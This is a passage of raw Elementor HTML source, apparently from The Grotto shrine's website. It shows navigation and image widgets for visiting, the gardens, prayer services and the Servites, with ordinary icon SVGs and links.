707 </div> 708 </div> 709 </div> 710 </div> 711 <div class="elementor-element elementor-element-3805475 e-con-full elementor-hidden-desktop e-flex e-con e-parent" data-id="3805475" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 712 <div class="elementor-element elementor-element-77fa1c6 e-con-full animated-slow e-flex elementor-invisible e-con e-child" data-id="77fa1c6" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic","animation":"fadeInRight","animation_mobile":"none"}"> 713 <div class="elementor-element elementor-element-c64da51 elementor-widget elementor-widget-heading" data-id="c64da51" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 714 <h2 class="elementor-heading-title elementor-size-default">Visit Us</h2> </div> 715 <div class="elementor-element elementor-element-c7394ee animated-slow elementor-widget-divider--view-line elementor-invisible elementor-widget elementor-widget-divider" data-id="c7394ee" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInRight","_animation_delay":40}" data-widget_type="divider.default"> 716 <div class="elementor-divider"> 717 <span class="elementor-divider-separator"> 718 </span> 719 </div> 720 </div> 721 <div class="elementor-element elementor-element-b190296 elementor-widget elementor-widget-text-editor" data-id="b190296" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 722 <p>Everyone is welcome at this historic shrine. Encompassing fifty-four acres, The Grotto is truly an oasis in the city. May all visitors and pilgrims find serenity, comfort, and inspiration as they walk through the gardens</p> </div> 723 <div class="elementor-element elementor-element-ac76c9b e-con-full e-grid e-con e-child" data-id="ac76c9b" data-element_type="container" data-e-type="container"> 724 <div class="elementor-element elementor-element-a9e5e36 e-con-full e-flex e-con e-child" data-id="a9e5e36" data-element_type="container" data-e-type="container"> 725 <div class="elementor-element elementor-element-f46e43e elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="f46e43e" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 726 <ul class="elementor-icon-list-items"> 727 <li class="elementor-icon-list-item"> 728 <a href="/visit/directions/"> 729 730 <span class="elementor-icon-list-icon"> 731 <svg aria-hidden="true" class="e-font-icon-svg e-fas-map-marked" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path d="M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"></path></svg> </span> 732 <span class="elementor-icon-list-text">Our Location</span> 733 </a> 734 </li> 735 <li class="elementor-icon-list-item"> 736 <a href="/visit/hours-admission/"> 737 738 <span class="elementor-icon-list-icon"> 739 <svg aria-hidden="true" class="e-font-icon-svg e-fas-ticket-alt" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path d="M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z"></path></svg> </span> 740 <span class="elementor-icon-list-text">Admission Details</span> 741 </a> 742 </li> 743 </ul> 744 </div> 745 <div class="elementor-element elementor-element-a577806 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="a577806" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 746 <ul class="elementor-icon-list-items"> 747 <li class="elementor-icon-list-item"> 748 <a href="/visit/pilgrimages/group/"> 749 750 <span class="elementor-icon-list-icon"> 751 <svg aria-hidden="true" class="e-font-icon-svg e-fas-users" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"></path></svg> </span> 752 <span class="elementor-icon-list-text">Group Pilgrimages</span> 753 </a> 754 </li> 755 <li class="elementor-icon-list-item"> 756 <a href="/visit/pilgrimages/individual/"> 757 758 <span class="elementor-icon-list-icon"> 759 <svg aria-hidden="true" class="e-font-icon-svg e-fas-user" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"><path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"></path></svg> </span> 760 <span class="elementor-icon-list-text">Individual Pilgrimages</span> 761 </a> 762 </li> 763 <li class="elementor-icon-list-item"> 764 <a href="/visit/field-trips/"> 765 766 <span class="elementor-icon-list-icon"> 767 <svg aria-hidden="true" class="e-font-icon-svg e-fas-compass" viewB
767ox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path d="M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z"></path></svg> </span> 768 <span class="elementor-icon-list-text">Field Trips</span> 769 </a> 770 </li> 771 </ul> 772 </div> 773 </div> 774 </div> 775 </div> 776 </div> 777 <div class="elementor-element elementor-element-52e7d6e e-flex e-con-boxed e-con e-parent" data-id="52e7d6e" data-element_type="container" data-e-type="container"> 778 <div class="e-con-inner"> 779 <div class="elementor-element elementor-element-7e9b59c elementor-widget elementor-widget-heading" data-id="7e9b59c" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 780 <h2 class="elementor-heading-title elementor-size-default">The Sanctuary Grounds</h2> </div> 781 </div> 782 </div> 783 <div class="elementor-element elementor-element-f658aca e-flex e-con-boxed e-con e-parent" data-id="f658aca" data-element_type="container" data-e-type="container"> 784 <div class="e-con-inner"> 785 <div class="elementor-element elementor-element-8f8c1d0 e-con-full e-flex e-con e-child" data-id="8f8c1d0" data-element_type="container" data-e-type="container"> 786 <div class="elementor-element elementor-element-cf4b456 e-con-full e-flex e-con e-child" data-id="cf4b456" data-element_type="container" data-e-type="container"> 787 <div class="elementor-element elementor-element-1ecc74b elementor-widget elementor-widget-image" data-id="1ecc74b" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 788 <a href="/visit/gardens/chapel-of-mary/"> 789 <img decoding="async" width="700" height="700" src="https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary.jpg" class="attachment-large size-large wp-image-328" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary.jpg 700w, https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary-150x150.jpg 150w, https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary-600x600.jpg 600w" sizes="(max-width: 700px) 100v
789w, 700px" /> </a> 790 </div> 791 <div class="elementor-element elementor-element-f67d964 elementor-widget elementor-widget-heading" data-id="f67d964" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 792 <h2 class="elementor-heading-title elementor-size-default"><a href="/visit/gardens/chapel-of-mary/">Chapel</a></h2> </div> 793 </div> 794 </div> 795 <div class="elementor-element elementor-element-ff7d422 e-con-full e-flex e-con e-child" data-id="ff7d422" data-element_type="container" data-e-type="container"> 796 <div class="elementor-element elementor-element-4e83148 e-con-full e-flex e-con e-child" data-id="4e83148" data-element_type="container" data-e-type="container"> 797 <div class="elementor-element elementor-element-2cd3af3 elementor-widget elementor-widget-image" data-id="2cd3af3" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 798 <a href="/visit/gardens/"> 799 <img loading="lazy" decoding="async" width="669" height="669" src="https://thegrotto.org/wp-content/uploads/2025/10/MJM_TheGrottoMaplePond1-copy.jpg" class="attachment-large size-large wp-image-340" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/10/MJM_TheGrottoMaplePond1-copy.jpg 669w, https://thegrotto.org/wp-content/uploads/2025/10/MJM_TheGrottoMaplePond1-copy-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/10/MJM_TheGrottoMaplePond1-copy-150x150.jpg 150w, https://thegrotto.org/wp-content/uploads/2025/10/MJM_TheGrottoMaplePond1-copy-600x600.jpg 600w" sizes="(max-width: 669px) 100vw, 669px" /> </a> 800 </div> 801 <div class="elementor-element elementor-element-8c11ffd elementor-widget elementor-widget-heading" data-id="8c11ffd" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 802 <h2 class="elementor-heading-title elementor-size-default"><a href="/visit/gardens/">Upper Gardens</a></h2> </div> 803 </div> 804 </div> 805 <div class="elementor-element elementor-element-8ab2c25 e-con-full e-flex e-con e-child" data-id="8ab2c25" data-element_type="container" data-e-type="container"> 806 <div class="elementor-element elementor-element-e918efd e-con-full e-flex e-con e-child" data-id="e918efd" data-element_type="container" data-e-type="container"> 807 <div class="elementor-element elementor-element-ddfa0b7 elementor-widget elementor-widget-image" data-id="ddfa0b7" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 808 <a href="/visit/gardens/plaza-level"> 809 <img loading="lazy" decoding="async" width="600" height="600" src="https://thegrotto.org/wp-content/uploads/2025/09/DISCOVER_Cave_PietaAltar_Theme.jpg" class="attachment-large size-large wp-image-329" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/09/DISCOVER_Cave_PietaAltar_Theme.jpg 600w, https://thegrotto.org/wp-content/uploads/2025/09/DISCOVER_Cave_PietaAltar_Theme-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/09/DISCOVER_Cave_PietaAltar_Theme-150x150.jpg 150w" sizes="(max-width: 600px) 100vw, 600px" /> </a> 810 </div> 811 <div class="elementor-element elementor-element-5520c0c elementor-widget elementor-widget-heading" data-id="5520c0c" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 812 <h2 class="elementor-heading-title elementor-size-default"><a href="/visit/gardens/plaza-level">Plaza Level</a></h2> </div> 813 </div> 814 </div> 815 <div class="elementor-element elementor-element-f675b29 e-con-full e-flex e-con e-child" data-id="f675b29" data-element_type="container" data-e-type="container"> 816 <div class="elementor-element elementor-element-550cada e-con-full e-flex e-con e-child" data-id="550cada" data-element_type="container" data-e-type="container"> 817 <div class="elementor-element elementor-element-90f9fe6 elementor-widget elementor-widget-image" data-id="90f9fe6" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 818 <a href="/shop/"> 819 <img loading="lazy" decoding="async" width="467" height="467" src="https://thegrotto.org/wp-content/uploads/2025/09/Gift-Shop-1_web-1.jpg" class="attachment-large size-large wp-image-338" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/09/Gift-Shop-1_web-1.jpg 467w, https://thegrotto.org/wp-content/uploads/2025/09/Gift-Shop-1_web-1-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/09/Gift-Shop-1_web-1-150x150.jpg 150w" sizes="(max-width: 467px) 100v
819w, 467px" /> </a> 820 </div> 821 <div class="elementor-element elementor-element-f4c6466 elementor-widget elementor-widget-heading" data-id="f4c6466" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 822 <h2 class="elementor-heading-title elementor-size-default"><a href="/shop/">Gift Shop</a></h2> </div> 823 </div> 824 </div> 825 </div> 826 </div> 827 <div class="elementor-element elementor-element-1aae106e e-con-full elementor-hidden-tablet elementor-hidden-mobile e-flex e-con e-parent" data-id="1aae106e" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 828 <div class="elementor-element elementor-element-92c4460 e-con-full animated-slow e-flex elementor-invisible e-con e-child" data-id="92c4460" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic","animation":"fadeInLeft"}"> 829 <div class="elementor-element elementor-element-29fc9ef1 elementor-widget elementor-widget-heading" data-id="29fc9ef1" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 830 <h1 class="elementor-heading-title elementor-size-default">Pray With Us</h1> </div> 831 <div class="elementor-element elementor-element-6990e72d animated-slow elementor-widget-divider--view-line elementor-invisible elementor-widget elementor-widget-divider" data-id="6990e72d" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft","_animation_delay":40}" data-widget_type="divider.default"> 832 <div class="elementor-divider"> 833 <span class="elementor-divider-separator"> 834 </span> 835 </div> 836 </div> 837 <div class="elementor-element elementor-element-11e80fb e-grid e-con-boxed e-con e-child" data-id="11e80fb" data-element_type="container" data-e-type="container"> 838 <div class="e-con-inner"> 839 <div class="elementor-element elementor-element-4053616 e-con-full e-flex e-con e-child" data-id="4053616" data-element_type="container" data-e-type="container"> 840 <div class="elementor-element elementor-element-3d75b9a e-con-full e-flex e-con e-child" data-id="3d75b9a" data-element_type="container" data-e-type="container"> 841 <div class="elementor-element elementor-element-f8169b6 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="f8169b6" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 842 <ul class="elementor-icon-list-items"> 843 <li class="elementor-icon-list-item"> 844 <a href="/mass-events/mass-schedule/"> 845 846 <span class="elementor-icon-list-icon"> 847 <svg aria-hidden="true" class="e-font-icon-svg e-fas-church" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"></path></svg> </span> 848 <span class="elementor-icon-list-text">Mass Schedule</span> 849 </a> 850 </li> 851 <li class="elementor-icon-list-item"> 852 <a href="/pray/daily-prayer/"> 853 854 <span class="elementor-icon-list-icon"> 855 <svg aria-hidden="true" class="e-font-icon-svg e-fas-pray" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z"></path></svg> </span> 856 <span class="elementor-icon-list-text">Daily Prayer</span> 857 </a> 858 </li> 859 <li class="elementor-icon-list-item"> 860 <a href="/pray/light-a-candle/"> 861 862 <span class="elementor-icon-list-icon"> 863 <svg aria-hidden="true" class="e-font-icon-svg e-fas-fire" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13
863192-192c0-170.29-168-193-168-296.14z"></path></svg> </span> 864 <span class="elementor-icon-list-text">Light a Candle</span> 865 </a> 866 </li> 867 </ul> 868 </div> 869 </div> 870 </div> 871 <div class="elementor-element elementor-element-efef1fe e-con-full e-flex e-con e-child" data-id="efef1fe" data-element_type="container" data-e-type="container"> 872 <div class="elementor-element elementor-element-1cf2a09 e-con-full e-flex e-con e-child" data-id="1cf2a09" data-element_type="container" data-e-type="container"> 873 <div class="elementor-element elementor-element-507a5d4 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="507a5d4" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 874 <ul class="elementor-icon-list-items"> 875 <li class="elementor-icon-list-item"> 876 <a href="/pray/mass-intentions/"> 877 878 <span class="elementor-icon-list-icon"> 879 <svg aria-hidden="true" class="e-font-icon-svg e-fas-cross" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"></path></svg> </span> 880 <span class="elementor-icon-list-text">Mass Intentions</span> 881 </a> 882 </li> 883 <li class="elementor-icon-list-item"> 884 <a href="/pray/st-peregrine-devotions/"> 885 886 <span class="elementor-icon-list-icon"> 887 <svg aria-hidden="true" class="e-font-icon-svg e-fas-praying-hands" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z"></path></svg> </span> 888 <span class="elementor-icon-list-text">St. Peregrine Devotions</span> 889 </a> 890 </li> 891 </ul> 892 </div> 893 </div> 894 </div> 895 </div> 896 </div> 897 </div> 898 </div> 899 <div class="elementor-element elementor-element-f0f2ca0 e-con-full elementor-hidden-desktop elementor-hidden-tablet e-flex e-con e-parent" data-id="f0f2ca0" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 900 <div class="elementor-element elementor-element-59972f1 e-con-full animated-slow e-flex elementor-invisible e-con e-child" data-id="59972f1" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic","animation":"fadeInLeft","animation_mobile":"none"}"> 901 <div class="elementor-element elementor-element-6cef1d8 elementor-widget elementor-widget-heading" data-id="6cef1d8" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 902 <h1 class="elementor-heading-title elementor-size-default">Pray With Us</h1> </div> 903 <div class="elementor-element elementor-element-2ba9fc3 animated-slow elementor-widget-divider--view-line elementor-invisible elementor-widget elementor-widget-divider" data-id="2ba9fc3" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft","_animation_delay":40}" data-widget_type="divider.default"> 904 <div class="elementor-divider"> 905 <span class="elementor-divider-separator"> 906 </span> 907 </div> 908 </div> 909 <div class="elementor-element elementor-element-71ad426 e-grid e-con-boxed e-con e-child" data-id="71ad426" data-element_type="container" data-e-type="container"> 910 <div class="e-con-inner"> 911 <div class="elementor-element elementor-element-2fd3bce e-con-full e-flex e-con e-child" data-id="2fd3bce" data-element_type="container" data-e-type="container"> 912 <div class="elementor-element elementor-element-fe92e54 e-con-full e-flex e-con e-child" data-id="fe92e54" data-element_type="container" data-e-type="container"> 913 <div class="elementor-element elementor-element-1dd9bb9 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="1dd9bb9" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 914 <ul class="elementor-icon-list-items"> 915 <li class="elementor-icon-list-item"> 916 <a href="/mass-events/mass-schedule/"> 917 918 <span class="elementor-icon-list-icon"> 919 <svg aria-hidden="true" class="e-font-icon-svg e-fas-church" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"></path></svg> </span> 920 <span class="elementor-icon-list-text">Mass Schedule</span> 921 </a> 922 </li> 923 <li class="elementor-icon-list-item"> 924 <a href="/pray/daily-prayer/"> 925 926 <span class="elementor-icon-list-icon"> 927 <svg aria-hidden="true" class="e-font-icon-svg e-fas-pray" viewB
927ox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z"></path></svg> </span> 928 <span class="elementor-icon-list-text">Daily Prayer</span> 929 </a> 930 </li> 931 <li class="elementor-icon-list-item"> 932 <a href="/pray/light-a-candle/"> 933 934 <span class="elementor-icon-list-icon"> 935 <svg aria-hidden="true" class="e-font-icon-svg e-fas-fire" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z"></path></svg> </span> 936 <span class="elementor-icon-list-text">Light a Candle</span> 937 </a> 938 </li> 939 </ul> 940 </div> 941 <div class="elementor-element elementor-element-c57e213 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="c57e213" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 942 <ul class="elementor-icon-list-items"> 943 <li class="elementor-icon-list-item"> 944 <a href="/pray/mass-intentions/"> 945 946 <span class="elementor-icon-list-icon"> 947 <svg aria-hidden="true" class="e-font-icon-svg e-fas-cross" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"></path></svg> </span> 948 <span class="elementor-icon-list-text">Mass Intentions</span> 949 </a> 950 </li> 951 <li class="elementor-icon-list-item"> 952 <a href="/pray/st-peregrine-devotions/"> 953 954 <span class="elementor-icon-list-icon"> 955 <svg aria-hidden="true" class="e-font-icon-svg e-fas-praying-hands" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z"></path></svg> </span> 956 <span class="elementor-icon-list-text">St. Peregrine Devotions</span> 957 </a> 958 </li> 959 </ul> 960 </div> 961 </div> 962 </div> 963 </div> 964 </div> 965 </div> 966 </div> 967 <div class="elementor-element elementor-element-c56c2e9 e-flex e-con-boxed e-con e-parent" data-id="c56c2e9" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 968 <div class="e-con-inner"> 969 <div class="elementor-element elementor-element-3e2369f e-con-full e-flex e-con e-child" data-id="3e2369f" data-element_type="container" data-e-type="container"> 970 <div class="elementor-element elementor-element-e619d6e animated-slow elementor-invisible elementor-widget elementor-widget-heading" data-id="e619d6e" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft"}" data-widget_type="heading.default"> 971 <h2 class="elementor-heading-title elementor-size-default">The Servites</h2> </div> 972 <div class="elementor-element elementor-element-26e91ce animated-slow elementor-widget-divider--view-line elementor-invisible elementor-widget elementor-widget-divider" data-id="26e91ce" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft"}" data-widget_type="divider.default"> 973 <div class="elementor-divider"> 974 <span class="elementor-divider-separator"> 975 </span> 976 </div> 977 </div>
978 </div> 979 <div class="elementor-element elementor-element-a3d434b e-con-full e-flex e-con e-child" data-id="a3d434b" data-element_type="container" data-e-type="container"> 980 <div class="elementor-element elementor-element-172c36e animated-slow elementor-mobile-align-center elementor-invisible elementor-widget elementor-widget-button" data-id="172c36e" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeIn","_animation_delay":400,"_animation_mobile":"none"}" data-widget_type="button.default"> 981 <a class="elementor-button elementor-button-link elementor-size-sm" href="/about/the-grotto-history/"> 982 <span class="elementor-button-content-wrapper"> 983 <span class="elementor-button-icon"> 984 <svg aria-hidden="true" class="e-font-icon-svg e-fas-bible" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"><path d="M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 